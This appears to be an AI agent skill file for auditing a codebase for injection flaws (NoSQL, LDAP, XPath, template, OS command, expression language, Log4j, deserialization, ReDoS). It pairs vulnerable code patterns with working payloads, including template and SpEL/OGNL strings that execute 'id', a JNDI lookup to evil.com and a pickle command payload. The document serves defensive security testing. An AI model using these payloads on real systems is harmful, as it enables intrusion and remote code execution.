Deep-dive injection vulnerability analysis (NoSQL, LDAP, XPath, Template, OS Command, Expression Language)
From perseusnpx claudepluginhub kaivyy/perseus --plugin perseusThis skill uses the workspace's default tool permissions.
Designs and optimizes AI agent action spaces, tool definitions, observation formats, error recovery, and context for higher task completion rates.
Enables AI agents to execute x402 payments with per-task budgets, spending controls, and non-custodial wallets via MCP tools. Use when agents pay for APIs, services, or other agents.
Compares coding agents like Claude Code and Aider on custom YAML-defined codebase tasks using git worktrees, measuring pass rate, cost, time, and consistency.
IMPORTANT: This skill performs deep injection vulnerability analysis on the user's own codebase. This is defensive security testing to find injection flaws before attackers do.
Authorization: The user owns this codebase and has explicitly requested this specialized analysis.
| Language | Frameworks & ORMs |
|---|---|
| JavaScript/TypeScript | Mongoose, Prisma, TypeORM, Sequelize, EJS, Pug, Nunjucks, Handlebars |
| Go | mongo-driver, go-ldap, html/template, text/template |
| PHP | Laravel Eloquent, Doctrine, Blade, Twig, Symfony |
| Python | PyMongo, Motor, SQLAlchemy, Jinja2, Mako, Django Templates |
| Rust | mongodb, askama, tera, handlebars-rust |
| Java | Spring Data, Hibernate, Freemarker, Velocity, Thymeleaf, OGNL, SpEL |
| Ruby | Mongoid, ERB, Slim, Haml |
| C# | MongoDB.Driver, Razor, Entity Framework |
This specialist skill performs comprehensive injection analysis beyond basic SQLi/XSS, covering advanced injection vectors often missed by standard scans.
When to Use: After /audit identifies potential injection points, or when the application uses NoSQL, LDAP, XML, or template engines.
Goal: Find all injection vectors including less common but equally dangerous ones.
| Mode | Specialist Behavior |
|---|---|
PRODUCTION_SAFE | Source-to-sink proofing and non-invasive validation only |
STAGING_ACTIVE | Targeted active verification with strict attempt caps |
LAB_FULL | Full dynamic validation across injection families |
LAB_RED_TEAM | Multi-step chain simulation in isolated lab only |
deliverables/engagement_profile.md before active verification.PRODUCTION_SAFE.| Type | Sinks | Impact |
|---|---|---|
| NoSQL Injection | MongoDB, Redis, Elasticsearch, DynamoDB | Data exfiltration, auth bypass |
| LDAP Injection | LDAP queries, directory lookups | Auth bypass, info disclosure |
| XPath Injection | XML queries | Data extraction |
| Template Injection (SSTI) | All template engines | RCE |
| OS Command Injection | Shell execution | RCE |
| Expression Language | EL, SpEL, OGNL, CEL | RCE |
| Header Injection | HTTP headers, emails | Response splitting, phishing |
| Log Injection | Log4j, logging frameworks | Log forging, RCE (Log4Shell) |
deliverables/engagement_profile.md.deliverables/verification_scope.md when present.PRODUCTION_SAFE, validate via minimal indicators and bounded retries.MongoDB Injection Analyst:
Language-Specific Patterns:
// Node.js/Mongoose - VULNERABLE
User.findOne({ username: req.body.username, password: req.body.password });
// Attack: { "password": { "$ne": "" } }
// Go/mongo-driver - VULNERABLE
filter := bson.M{"username": username, "password": password}
collection.FindOne(ctx, filter)
// PHP/MongoDB - VULNERABLE
$collection->findOne(['username' => $_POST['username']]);
# Python/PyMongo - VULNERABLE
db.users.find_one({"username": request.json["username"]})
// Rust/mongodb - VULNERABLE
let filter = doc! { "username": &username };
collection.find_one(filter, None).await?;
// Java/Spring Data MongoDB - VULNERABLE
Query query = new Query(Criteria.where("username").is(username));
Redis Injection Analyst:
Patterns:
// Node.js - VULNERABLE
redis.eval(`return redis.call('get', '${userInput}')`, 0);
// Go - VULNERABLE
rdb.Eval(ctx, script, []string{userKey})
# Python - VULNERABLE
r.eval(f"return redis.call('get', '{key}')", 0)
Elasticsearch/DynamoDB Analyst:
LDAP Injection Analyst:
Language-Specific Patterns:
// Java - VULNERABLE
String filter = "(uid=" + username + ")";
ctx.search(base, filter, controls);
# Python/ldap3 - VULNERABLE
conn.search(base, f'(uid={username})')
// Go/go-ldap - VULNERABLE
filter := fmt.Sprintf("(uid=%s)", username)
l.Search(ldap.NewSearchRequest(base, ldap.ScopeWholeSubtree, filter))
// PHP - VULNERABLE
ldap_search($conn, $base, "(uid=$username)");
XPath Injection Analyst:
Patterns:
// Java - VULNERABLE
String xpath = "//user[@name='" + username + "']";
XPath.evaluate(xpath, document);
# Python/lxml - VULNERABLE
tree.xpath(f"//user[@name='{username}']")
Python Template Analyst (Jinja2, Mako, Django):
Patterns:
# Jinja2 - VULNERABLE
Template(user_input).render()
# Test: {{7*7}} -> 49
# RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Mako - VULNERABLE
Template(user_input).render()
# Test: ${7*7} -> 49
# Django - VULNERABLE (if user controls template)
Template(user_input).render(Context())
Java Template Analyst (Freemarker, Velocity, Thymeleaf):
Patterns:
// Freemarker - VULNERABLE
Template t = new Template("name", new StringReader(userInput), cfg);
// Test: ${7*7} -> 49
// RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
// Velocity - VULNERABLE
Velocity.evaluate(context, writer, "tag", userInput);
// Test: #set($x=7*7)$x -> 49
// Thymeleaf - VULNERABLE (with preprocessing)
// Test: __${7*7}__ -> 49
JavaScript Template Analyst (EJS, Pug, Nunjucks):
Patterns:
// EJS - VULNERABLE
ejs.render(userInput, data);
// Test: <%= 7*7 %> -> 49
// RCE: <%= process.mainModule.require('child_process').execSync('id') %>
// Pug - VULNERABLE
pug.render(userInput);
// Nunjucks - VULNERABLE
nunjucks.renderString(userInput, data);
Go/Rust/PHP Template Analyst:
Patterns:
// Go text/template - VULNERABLE (if user controls template)
t, _ := template.New("t").Parse(userInput)
// Go html/template auto-escapes HTML but not all contexts
// Rust/Tera - Check for user-controlled templates
Tera::one_off(&user_input, &context, true)?;
// PHP/Twig - VULNERABLE
$twig->createTemplate($userInput)->render();
// Blade - Check for {!! !!} (unescaped)
Shell Execution Analyst:
Language-Specific Sinks:
// Node.js - VULNERABLE
exec(`ls ${userInput}`);
execSync(`git clone ${url}`);
spawn('sh', ['-c', cmd]);
// Go - VULNERABLE
exec.Command("sh", "-c", userInput).Run()
exec.Command("bash", "-c", fmt.Sprintf("echo %s", input))
// PHP - VULNERABLE
system($cmd);
shell_exec($_GET['cmd']);
passthru($input);
proc_open($cmd, $descriptors, $pipes);
`$cmd`; // backticks
# Python - VULNERABLE
os.system(cmd)
subprocess.call(cmd, shell=True)
subprocess.Popen(cmd, shell=True)
os.popen(cmd)
// Rust - VULNERABLE
Command::new("sh").arg("-c").arg(&user_input).output()?;
// Java - VULNERABLE
Runtime.getRuntime().exec(cmd);
new ProcessBuilder("sh", "-c", cmd).start();
# Ruby - VULNERABLE
system(cmd)
`#{cmd}`
%x{#{cmd}}
exec(cmd)
Argument Injection Analyst:
Patterns:
// Argument injection - VULNERABLE
execFile('git', ['clone', userUrl]); // --upload-pack injection
execFile('curl', [userUrl]); // -o injection
Indirect Command Injection Analyst:
Java EL/SpEL/OGNL Analyst:
Patterns:
// SpEL - VULNERABLE
ExpressionParser parser = new SpelExpressionParser();
parser.parseExpression(userInput).getValue();
// RCE: T(java.lang.Runtime).getRuntime().exec('id')
// OGNL (Struts) - VULNERABLE
OgnlUtil.getValue(userInput, context, root);
// RCE: (#rt=@java.lang.Runtime@getRuntime(),#rt.exec('id'))
// EL - VULNERABLE
${userInput} in JSP/JSF
Other Expression Languages:
Log4j/Log4Shell Analyst:
Pattern:
// VULNERABLE to Log4Shell (CVE-2021-44228)
logger.info("User: " + username);
// Attack: ${jndi:ldap://evil.com/a}
Log Forging Analyst:
Patterns:
// VULNERABLE - newlines in logs
console.log(`User logged in: ${username}`);
// Attack: username = "admin\n[INFO] Admin action performed"
HTTP Header Injection Analyst:
Patterns:
// Node.js - VULNERABLE
res.setHeader('X-Custom', userInput);
// Attack: value\r\nSet-Cookie: evil=true
// Go - VULNERABLE
w.Header().Set("Location", userInput)
// PHP - VULNERABLE
header("Location: " . $_GET['url']);
Regex Pattern Analyst:
Vulnerable Patterns:
// Node.js - VULNERABLE (exponential backtracking)
const emailRegex = /^([a-zA-Z0-9]+)+@/; // Nested quantifiers
const pathRegex = /^(a+)+$/; // Classic ReDoS
const htmlRegex = /<([a-z]+)*>/; // Nested groups with *
userInput.match(emailRegex); // Can hang with crafted input
// Attack payload: "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
# Python - VULNERABLE
import re
pattern = re.compile(r'^(a+)+$')
pattern.match(user_input) # Hangs with "aaaa...!"
// Go - SAFER (RE2 engine doesn't backtrack)
// But check for regexp/syntax with PCRE features
regexp.MustCompile(`^(a+)+$`) // Still check patterns
// Java - VULNERABLE
Pattern.compile("^(a+)+$").matcher(input).matches();
// PHP - VULNERABLE
preg_match('/^(a+)+$/', $input); // Uses PCRE
Dangerous Patterns:
| Pattern | Why Dangerous |
|---|---|
(a+)+ | Nested quantifiers |
| `(a | a)+` |
(a+)* | Quantifier on quantified group |
(.*a){x} | Greedy with repetition |
(a+){2,} | Nested quantifiers |
User Input Regex Analyst:
Patterns:
// VULNERABLE - User controls regex
const pattern = new RegExp(userInput);
text.match(pattern); // ReDoS + potential RCE in some engines
// SAFE - Escape user input
const escaped = userInput.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const pattern = new RegExp(escaped);
# VULNERABLE
re.search(user_input, text)
# SAFE
re.search(re.escape(user_input), text)
Java Deserialization Analyst:
Patterns:
// VULNERABLE - Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // RCE if attacker controls stream
// VULNERABLE - XMLDecoder
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// VULNERABLE - XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// SAFE - Use allowlist
xstream.allowTypes(new Class[] { SafeClass.class });
Gadget Chains:
PHP Deserialization Analyst:
Patterns:
// VULNERABLE - unserialize with user input
$data = unserialize($_POST['data']); // RCE via __wakeup, __destruct
// VULNERABLE - Even with allowed_classes
$data = unserialize($input, ['allowed_classes' => ['User']]);
// User class might have dangerous magic methods
// SAFE - Use JSON
$data = json_decode($_POST['data'], true);
Magic Methods to Check:
__wakeup() - Called during unserialize__destruct() - Called when object destroyed__toString() - Called on string conversion__call() - Called on undefined methodPython Deserialization Analyst:
Patterns:
# VULNERABLE - pickle with untrusted data
import pickle
data = pickle.loads(user_input) # RCE
# VULNERABLE - yaml.load without Loader
import yaml
data = yaml.load(user_input) # RCE (PyYAML < 6.0)
# SAFE - yaml with SafeLoader
data = yaml.safe_load(user_input)
# VULNERABLE - marshal
import marshal
marshal.loads(user_input) # RCE
.NET Deserialization Analyst:
Patterns:
// VULNERABLE - BinaryFormatter
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream); // RCE
// VULNERABLE - NetDataContractSerializer
var serializer = new NetDataContractSerializer();
object obj = serializer.ReadObject(stream);
// VULNERABLE - ObjectStateFormatter
ObjectStateFormatter osf = new ObjectStateFormatter();
object obj = osf.Deserialize(input);
// VULNERABLE - LosFormatter (ViewState)
LosFormatter lf = new LosFormatter();
object obj = lf.Deserialize(input);
// SAFE - Use JSON with known types only
JsonConvert.DeserializeObject<SafeType>(input);
Gadgets:
| Injection Type | Detection Payload | Verification |
|---|---|---|
| NoSQL (MongoDB) | {"$gt": ""} | Returns all records |
| NoSQL (Redis) | \r\nSET evil 1\r\n | Key created |
| LDAP | `)(uid=))( | (uid=*` |
| XPath | ' or '1'='1 | Returns all nodes |
| SSTI (Jinja2) | {{7*7}} | Output: 49 |
| SSTI (Freemarker) | ${7*7} | Output: 49 |
| SSTI (EJS) | <%= 7*7 %> | Output: 49 |
| Command | ; sleep 5 | 5 second delay |
| SpEL | ${7*7} | Output: 49 |
| Header | \r\nX-Injected: true | New header appears |
| Log4j | ${jndi:ldap://x.x} | DNS callback |
| ReDoS | aaaaaaaaaaaaaaaaaa! | Response delay/timeout |
| Java Deser | ysoserial payload | RCE callback |
| PHP Deser | O:8:"stdClass":0:{} | Object created |
| Python Pickle | cos\nsystem\n(S'id'\ntR. | Command executed |
Create deliverables/injection_deep_analysis.md:
# Advanced Injection Analysis
## Summary
| Type | Instances Found | Vulnerable | Safe |
|------|-----------------|------------|------|
| NoSQL | X | Y | Z |
| LDAP | X | Y | Z |
| Template (SSTI) | X | Y | Z |
| Command | X | Y | Z |
| Expression | X | Y | Z |
| Log Injection | X | Y | Z |
| Header | X | Y | Z |
## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go/Gin, PHP/Laravel]
- Template Engine: [e.g., EJS, Jinja2, Blade]
- Database: [e.g., MongoDB, Redis]
## Critical Findings
### [INJ-001] MongoDB Operator Injection in Login
**Severity:** Critical
**Type:** NoSQL Injection
**Language:** Node.js/Mongoose
**Location:** `auth/login.js:34`
**Vulnerable Code:**
```javascript
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
Attack:
POST /login
{"username": "admin", "password": {"$ne": ""}}
Impact: Authentication bypass - attacker can login as any user
Remediation:
// Validate types before query
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({ username, password: hash(password) });
Severity: Critical
Type: Server-Side Template Injection
Language: Python/Jinja2
Location: utils/email.py:56
Vulnerable Code:
template = Template(f"Hello {user_name}, your order is ready")
Attack:
user_name = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Impact: Remote Code Execution
| Engine | Language | Sandboxed | Risk if User-Controlled |
|---|---|---|---|
| Jinja2 | Python | No | Critical (RCE) |
| EJS | Node.js | No | Critical (RCE) |
| Freemarker | Java | Partial | Critical (RCE) |
| Blade | PHP | No | High (RCE possible) |
| html/template | Go | Yes | Low (auto-escape) |
**Next Step:** Findings feed into `/exploit` for verification.